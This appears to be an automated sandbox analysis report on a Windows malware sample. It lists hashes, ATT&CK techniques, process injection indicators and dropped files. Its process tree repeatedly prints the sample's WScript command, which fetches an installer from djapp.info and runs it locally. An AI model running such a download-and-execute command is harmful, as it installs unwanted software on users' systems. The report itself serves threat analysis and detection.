51bf80877abb5b623e96d31d9da3ca395b17b6897fe49704e0104199af9616e6

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
11-05-2024 11:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe
Size

184KB
MD5

3443262cf83abba89b696e5dfe9ba9ed
SHA1

18038c92d7cf01a176ae01c5ae9fcf37060bdca3
SHA256

51bf80877abb5b623e96d31d9da3ca395b17b6897fe49704e0104199af9616e6
SHA512

e9fde259e564fc7d42f68709a50811caaf9fea0b00102c7b9dfdf34fd7c5dc8d00d584cf8b7c03e58db45b5375e2e6cc4d554da3bf39fdd7a928268401b176ee
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3Y54:/7BSH8zUB+nGESaaRvoB7FJNndnD54

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

Processes:

WScript.exeWScript.exeWScript.exeWScript.exeWScript.exe

flow pid process

6 2904 WScript.exe
8 2904 WScript.exe
10 2904 WScript.exe
12 2708 WScript.exe
13 2708 WScript.exe
15 1516 WScript.exe
16 1516 WScript.exe
18 1924 WScript.exe
19 1924 WScript.exe
21 656 WScript.exe
22 656 WScript.exe
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2828 2056 WerFault.exe 3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe

flow	pid	process
6	2904	WScript.exe
8	2904	WScript.exe
10	2904	WScript.exe
12	2708	WScript.exe
13	2708	WScript.exe
15	1516	WScript.exe
16	1516	WScript.exe
18	1924	WScript.exe
19	1924	WScript.exe
21	656	WScript.exe
22	656	WScript.exe

pid	pid_target	process	target process
2828	2056	WerFault.exe	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 24 IoCs

Processes:

3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe

description	pid	process	target process
PID 2056 wrote to memory of 2904	2056	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WScript.exe
PID 2056 wrote to memory of 2904	2056	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WScript.exe
PID 2056 wrote to memory of 2904	2056	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WScript.exe
PID 2056 wrote to memory of 2904	2056	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WScript.exe
PID 2056 wrote to memory of 2708	2056	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WScript.exe
PID 2056 wrote to memory of 2708	2056	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WScript.exe
PID 2056 wrote to memory of 2708	2056	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WScript.exe
PID 2056 wrote to memory of 2708	2056	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WScript.exe
PID 2056 wrote to memory of 1516	2056	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WScript.exe
PID 2056 wrote to memory of 1516	2056	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WScript.exe
PID 2056 wrote to memory of 1516	2056	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WScript.exe
PID 2056 wrote to memory of 1516	2056	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WScript.exe
PID 2056 wrote to memory of 1924	2056	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WScript.exe
PID 2056 wrote to memory of 1924	2056	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WScript.exe
PID 2056 wrote to memory of 1924	2056	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WScript.exe
PID 2056 wrote to memory of 1924	2056	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WScript.exe
PID 2056 wrote to memory of 656	2056	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WScript.exe
PID 2056 wrote to memory of 656	2056	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WScript.exe
PID 2056 wrote to memory of 656	2056	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WScript.exe
PID 2056 wrote to memory of 656	2056	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WScript.exe
PID 2056 wrote to memory of 2828	2056	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WerFault.exe
PID 2056 wrote to memory of 2828	2056	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WerFault.exe
PID 2056 wrote to memory of 2828	2056	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WerFault.exe
PID 2056 wrote to memory of 2828	2056	3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe	WerFault.exe

C:\Users\Admin\AppData\Local\Temp\3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\3443262cf83abba89b696e5dfe9ba9ed_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2056

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2BB2.js" http://www.djapp.info/?domain=wrvZwwKlEC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf2BB2.exe
2⤵
- Blocklisted process makes network request
PID:2904

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2BB2.js" http://www.djapp.info/?domain=wrvZwwKlEC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf2BB2.exe
2⤵
- Blocklisted process makes network request
PID:2708

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2BB2.js" http://www.djapp.info/?domain=wrvZwwKlEC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf2BB2.exe
2⤵
- Blocklisted process makes network request
PID:1516

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2BB2.js" http://www.djapp.info/?domain=wrvZwwKlEC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf2BB2.exe
2⤵
- Blocklisted process makes network request
PID:1924

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2BB2.js" http://www.djapp.info/?domain=wrvZwwKlEC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf2BB2.exe
2⤵
- Blocklisted process makes network request
PID:656

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2056 -s 616
2⤵
- Program crash
PID:2828

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
Filesize
1KB

MD5
2a8fa256ce6a53132c6e1887aec2dd90

SHA1
3c3712696c81ffbf3f78767fa642115336718db0

SHA256
4372b48ab69f94556f8124623513fe956790e5250372c13577d51de0a309a2a6

SHA512
86c1a4da1b625219443ffa86cf04f4fa477746d0f1ff2de1c8c8605fcb4eed09b9aa3a7e7a64c8ad59c50b2a65bf25d5ef493bf9b06726ecb83aa9519ef9f11b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
Filesize
724B

MD5
8202a1cd02e7d69597995cabbe881a12

SHA1
8858d9d934b7aa9330ee73de6c476acf19929ff6

SHA256
58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

SHA512
97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
Filesize
410B

MD5
146ae9c3dae4ed45f73c753a6688c978

SHA1
8f285e5be70795459e1a76ba401f8794aa20d208

SHA256
324665d51d05ee26586b1a626e05d1dba24feb18f81203d62420cf5fa70fc150

SHA512
b66421d0caf0e7b88dd30450bcc2a940c106c7aa0baa346a2db836d43e57dcf9081c2c973dc42ca5178a3c562089391210dca13619285291d955b45bae4455be

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize
344B

MD5
165ce85b2d62c79882c789746f3daaa3

SHA1
ab0867fc60ac765db2305198052346572c0126a0

SHA256
f45d2d26cc4337c6e9c4f7ef830c6c3e17056a9c8eb50a874f1e385eaf384c17

SHA512
1cc7e96e4b97358d86d37a7a0416139cdfc62799d15788a9977b7aaa98976d334114b363bf323d42d347139604815cf0c5fb40a057044b8de3838fd66b883fe6

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
Filesize
392B

MD5
3077ccab6c0520518241bb461fe68c78

SHA1
8d0c74c1004e5de3c090a50cb2f0e511c14ba7f5

SHA256
1b61ff024631342754cc668b109d6ed5cd1982d4c5a4a4f76fdbf1635105378a

SHA512
712bfc8aad2a7af88933bfd1e0b59db4e36047b83e3daecbbbd9ddd63d705c213cc63a545e09d51f40db02453e03c1c742a5fd6b260700d6262bffeec0973677

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\2XHJXO3H\domain_profile[1].htm
Filesize
6KB

MD5
a26586c686f016f4951e4f67c33e27ac

SHA1
dd92a0c21e3a6b192b27626706831e253bb74a2f

SHA256
ad1ec5d8ee8cdc43ed8e6d4c5e82b85b159839f62dc77ad178a1b59de30fc2ef

SHA512
ab6844b6b34abc71dcf36ce8fa542b94e6aaa68b8b77f837cd0ecf8634ffc066019e4eea68d9e44c22dfb76ddffc3d77c7ad20f615f9faec9cfcbad1fbdbd79a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\2XHJXO3H\domain_profile[1].htm
Filesize
6KB

MD5
12df22c8766c57610afac04149a82328

SHA1
bd067ab2ea322cd75d670f55c24fab4eada150da

SHA256
10df99896315ac90db738892a3fe652e3176a3f7479a9145073abbd4f4005858

SHA512
80a3060bb6ec436f9d9a32f2b8b4ea9f27d5d2332d73a9bdd0bf24a2299df79eeba54977dd9502764095aae2e6b1e285198beeff2a29cefabf6a0cd5994bbf28

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H09CVCL3\domain_profile[1].htm
Filesize
40KB

MD5
f097aa91f160eec1409b82be47b53086

SHA1
a3e68d47947d78e7e7abdb97adf85c73dbd62331

SHA256
56cae1e75e2d029f92238c26e5e8a1d2234eb93bf15dbd8d8ef50ca8259c8d8e

SHA512
0daa94359db636f0838a836c557012c012a0a7ea71ac18e73e87ac1b996e67fed42a34b2bf7cf62b6b342875f34ce90699a30c0861d0775af247d7afe6dfd148

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H09CVCL3\domain_profile[1].htm
Filesize
6KB

MD5
49077566f2041e8a68d273c8b590f29d

SHA1
8e1c0114a72aba3c29bb35bea2bcebaf887fedf2

SHA256
07a57a5ec5f6bd386084308ba62fead6239cf85f6daf7e28951443c1b6b4dcff

SHA512
4f44c2ef47d6e76416b46f0e004779a26252c55b6534a0f73a4de958df55f26cf6a03aa85b460593c566db10c9d696dd951b71272064e07605e0f32d2d877238

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab5ADC.tmp
Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar7408.tmp
Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
C:\Users\Admin\AppData\Local\Temp\fuf2BB2.js
Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\JRICE95M.txt
Filesize
177B

MD5
1af07557baea990fab9687a3013d4630

SHA1
5b64e6bb33f69fdc27bb9b7351cf5944765901c8

SHA256
63ac21a08fb1ac81fb8e2480de944c6461ed2f43cd9ae89ae98f98d0bfeb5323

SHA512
7568f82e40464dcb96468f545dc061801ee5636e5879bd898ab4bc535474fe3e3bc08db9ee2b6111cf6983785f8937eda26b7c2816300e17b571e52eb4a7fbdc

Download Submit